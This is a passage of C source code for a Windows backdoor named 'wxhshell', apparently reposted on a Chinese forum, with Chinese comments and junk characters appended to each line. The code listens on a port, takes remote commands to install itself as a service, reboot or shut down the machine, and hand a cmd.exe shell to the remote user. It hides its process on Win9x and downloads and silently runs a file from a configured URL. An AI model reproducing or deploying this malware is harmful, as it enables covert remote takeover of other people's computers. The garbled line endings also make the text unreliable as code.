?XVJ$nzW  
    switch(cmd[0]) { gB!K{ Io'  
  m: 77pE&o  
  // 帮助 UE4zmIq  
  case '?': { h' OLj#H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X0X!:gX  
    break; F=C8U$'S  
  } X!0s__IOc  
  // 安装 V~y4mpfX  
  case 'i': { !=(~e':Gv  
    if(Install()) N@UO8'"9K&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 75`*aAZ3  
    else g)+45w*+5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pU`4bT(w%  
    break; yQ> *F  
    } O>^0}  
  // 卸载 ZbJUOa?WF  
  case 'r': { * pN,@ZV$  
    if(Uninstall()) RltG/ZI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'J^E|1P  
    else .S&S#}$/]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )1H$5h  
    break; kI974:e42  
    } YX+Da"\  
  // 显示 wxhshell 所在路径 /8baJ+D"4\  
  case 'p': { S8+Xk= x  
    char svExeFile[MAX_PATH];  }SHF  
    strcpy(svExeFile,"\n\r"); ET4 C/nb  
      strcat(svExeFile,ExeFile); a_5`9BL  
        send(wsh,svExeFile,strlen(svExeFile),0); XJ;kyEx3=O  
    break; Qc2_B\K^  
    } LEMgRI`rf  
  // 重启 8Ua ;< h%  
  case 'b': { dq?q(_9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U$KdY _Z97  
    if(Boot(REBOOT)) M>df7.N7%P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { U a19~'>  
    else { MjMPbGUX{  
    closesocket(wsh); 6N >ksqo8%  
    ExitThread(0); mqGp]'{  
    } <,,U>0?3  
    break; .IYE+XzV  
    } S2)rkX$  
  // 关机 <Tr_,Ya{9  
  case 'd': { iq`y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =:(8F*Q  
    if(Boot(SHUTDOWN)) 8Z>ZjNG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uY;-x~Z  
    else { 7SE=otZ>  
    closesocket(wsh); 7>EjP&l  
    ExitThread(0); IMzhEm  
    } LQSno)OZ  
    break; &*Eyw s  
    } 8cy#[{u`;  
  // 获取shell ?\:ysTVu  
  case 's': { F9]j{'#  
    CmdShell(wsh); Fs7/3  
    closesocket(wsh); Zs!)w9y&V  
    ExitThread(0); M?5[#0"&V  
    break; }2M2R}D  
  } Ow=`tv$l  
  // 退出 )K\w0sjR  
  case 'x': { = wNul"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y[x9c0  
    CloseIt(wsh); ['m@RJm+  
    break; W&y%fd\&3  
    } _T^ip.o  
  // 离开 LR D71*/  
  case 'q': { ( B$;'U<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $53I%.  
    closesocket(wsh); C,-q2ry  
    WSACleanup(); 67 >*AL  
    exit(1); `':$PUz,g  
    break; s,ZJ?[/  
        } eFvw9B+  
  } 2a2C z'G  
  } rWF~a ec  
>L?)f3_a  
  // 提示信息 *""'v   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E,5jY  
} X""<5s'0  
  } /kyuL]6  
6R5) &L  
  return; ]t]s/;9]K  
} N. 3 x[%:  
z (rQ6  
// shell模块句柄 nm 66U4.@  
int CmdShell(SOCKET sock) }NDw3{zn  
{ |_HH[s*U  
STARTUPINFO si; )DuOo83n["  
ZeroMemory(&si,sizeof(si)); ws4a(1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5#+!|S[PK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5SFeJBS  
PROCESS_INFORMATION ProcessInfo; 0*W=u-|s6  
char cmdline[]="cmd"; H-?SlVsf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a9}cpfG=)  
  return 0; EP7L5GZ-a  
} F?e_$\M  
RUm1;MWs  
// 自身启动模式 Z<z(;)?c  
int StartFromService(void) ^ _KHw  
{ ;id0|x  
typedef struct f&B&!&gZ  
{ VWd=7  
  DWORD ExitStatus; r8+{HknB;  
  DWORD PebBaseAddress; mZJ"e,AY  
  DWORD AffinityMask; mYXe0E#6  
  DWORD BasePriority; L m"a3Nb  
  ULONG UniqueProcessId; P-[6xu+]  
  ULONG InheritedFromUniqueProcessId; SfQ ,uD6  
}   PROCESS_BASIC_INFORMATION; )(b]-  )  
PoY+Y3  
PROCNTQSIP NtQueryInformationProcess; >F6'^9|  
pUZe.S>G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '>_'gR0O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nRN&u4  
{,|*99V  
  HANDLE             hProcess; c&IIqT@Gb0  
  PROCESS_BASIC_INFORMATION pbi; >V@-tT"^:  
XJDp%B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -?' r_t  
  if(NULL == hInst ) return 0; Y<%$;fx$Sx  
i1ur>4Ns  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); " GkBX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); phwk0J]2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T?:Vw laE  
"zL<:TQ"  
  if (!NtQueryInformationProcess) return 0; 5Y)*-JY1g  
6;9SU+/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mu04TPj  
  if(!hProcess) return 0; {LVii}<  
{ :'#Ts<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =K~<& l8  
BZ<Q.:)  
  CloseHandle(hProcess); 4]u53`  
NMM0'tY~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rq Dre`m  
if(hProcess==NULL) return 0; DG}t!  
>`Gys8T  
HMODULE hMod; 3iJ4VL7  
char procName[255]; Q3u P7j  
unsigned long cbNeeded; m^@,0\F  
c?"#x-<1s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5;oWFl  
:w:hqe|_  
  CloseHandle(hProcess); )8p FPr  
fB|rW~!v  
if(strstr(procName,"services")) return 1; // 以服务启动 cU?A|'  
r ,D T>  
  return 0; // 注册表启动 2G<\Wz  
} =o;8xKj  
&]3_ .C  
// 主模块 $(K[W}  
int StartWxhshell(LPSTR lpCmdLine) puA~}6C  
{ \ " {+J  
  SOCKET wsl; k?3NF:Yy7  
BOOL val=TRUE; vdAaqM6D  
  int port=0; ob05:D_bc9  
  struct sockaddr_in door; n.n;'p9t@  
0#0[E,  
  if(wscfg.ws_autoins) Install(); L,M=ogdb  
XCCN6[[+  
port=atoi(lpCmdLine); o( Yfnnuy  
Pqli3(  
if(port<=0) port=wscfg.ws_port; vmm#UjwF3  
BZP}0  
  WSADATA data; pZUckQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n=WwB(}q  
{Y6U%HG{{r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H WOs   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ozwPtF5  
  door.sin_family = AF_INET; .w/w] Eq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X|fl_4NC>  
  door.sin_port = htons(port); 5RXZ$/  
A-x; ai]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { / E}L%OvE  
closesocket(wsl); 0Am&:kX't  
return 1; _[u&}i  
} Vw :.'-Oi  
#pO=\lJ,  
  if(listen(wsl,2) == INVALID_SOCKET) { }5 ^2g!M  
closesocket(wsl); n4\UoKq  
return 1; L"{qF<@V7&  
} 4v9jGwnzt  
  Wxhshell(wsl); kk#%x#L[  
  WSACleanup(); R?Zv  
EK`}?>'  
return 0; KK$t3e)  
ea[vzD]  
} -d5b,leC^  
p)v|t/7  
// 以NT服务方式启动 pW$ZcnU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ey96XJV  
{ F|pM$Kd`  
DWORD   status = 0; 2*;qr|h,  
  DWORD   specificError = 0xfffffff; $2uk;&"?A=  
@i2"+_}*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y1fcp_]m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kT)[<`p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z,dh?%H>X  
  serviceStatus.dwWin32ExitCode     = 0; VZuluV  
  serviceStatus.dwServiceSpecificExitCode = 0; #$W02L8  
  serviceStatus.dwCheckPoint       = 0; 0T,uH  
  serviceStatus.dwWaitHint       = 0; /2 z, ?,jL  
OBY^J1St  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )+ifVv50  
  if (hServiceStatusHandle==0) return; j'r"_*%  
4P(muOS  
status = GetLastError(); X.}i9a 6  
  if (status!=NO_ERROR) /c2| *"@X  
{ jMUd,j`Opx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q[?xf3  
    serviceStatus.dwCheckPoint       = 0; )1?#q[x  
    serviceStatus.dwWaitHint       = 0; 'kBg3E$y  
    serviceStatus.dwWin32ExitCode     = status; Nini8@d  
    serviceStatus.dwServiceSpecificExitCode = specificError; xs#g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6[+@#IWx  
    return; K(jo[S  
  } bmCp:6  
9u[^9tL+D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k-it#'ll{x  
  serviceStatus.dwCheckPoint       = 0; \jA#RF.W  
  serviceStatus.dwWaitHint       = 0; RW"QUT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vq?Lej  
} 4# +i\H`  
WSEw:pln  
// 处理NT服务事件,比如:启动、停止 hK]mnA[Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %lsRj)n  
{ 7:/gO~g I  
switch(fdwControl) <|-da&7  
{ T)c<tIr6  
case SERVICE_CONTROL_STOP: ,J;Cb}  
  serviceStatus.dwWin32ExitCode = 0; @!'rsPrI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a4d7;~tZ  
  serviceStatus.dwCheckPoint   = 0; z|Y  Ms?  
  serviceStatus.dwWaitHint     = 0; P{m(.EC_  
  { {$>Pg/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2WO5Af%  
  } j!c~%hP  
  return; 5aZbNV}-  
case SERVICE_CONTROL_PAUSE: i,V,0{$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #jj+/>ZOi  
  break; `;j@v8n$*  
case SERVICE_CONTROL_CONTINUE: `\-<tk9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nh XVc((  
  break; 7q%xF#mK=  
case SERVICE_CONTROL_INTERROGATE: ^sVr#T  
  break; gOy;6\/  
}; }G/!9Zq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); = Ed0vw  
} B6kc9XG  
}INj~d<:  
// 标准应用程序主函数 TJ_Wze-lQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gpw,bV  
{ %6.WGuO  
rdH3!  
// 获取操作系统版本 m?O~(6k@C  
OsIsNt=GetOsVer(); J?C#'2 /   
GetModuleFileName(NULL,ExeFile,MAX_PATH); n58yR -"  
r'(*#  
  // 从命令行安装 V O\g"Yc  
  if(strpbrk(lpCmdLine,"iI")) Install(); sOJXloeO[6  
Fy 1- >~  
  // 下载执行文件 &+5ij;AD  
if(wscfg.ws_downexe) { Q Yg V[\&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C4aAPkcp2$  
  WinExec(wscfg.ws_filenam,SW_HIDE); lrjVD(R=g  
} :%-w/QwTR  
~pT1,1  
if(!OsIsNt) { }el7@Gv  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xj9\:M-  
HideProc(); a[_IG-l|i4  
StartWxhshell(lpCmdLine); ${)oi:K@:  
} 5pT8 }?7  
else p'`?CJq8  
  if(StartFromService()) PrHoN2y5E  
  // 以服务方式启动 \483S]_-z{  
  StartServiceCtrlDispatcher(DispatchTable); N:q\i57x  
else NkV81?  
  // 普通方式启动 A?bqDy  
  StartWxhshell(lpCmdLine); 9.%t9RM^  
i E?yvtr8  
return 0; b>2{F6F  
}
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只看该作者 1 发表于: 2006-10-10
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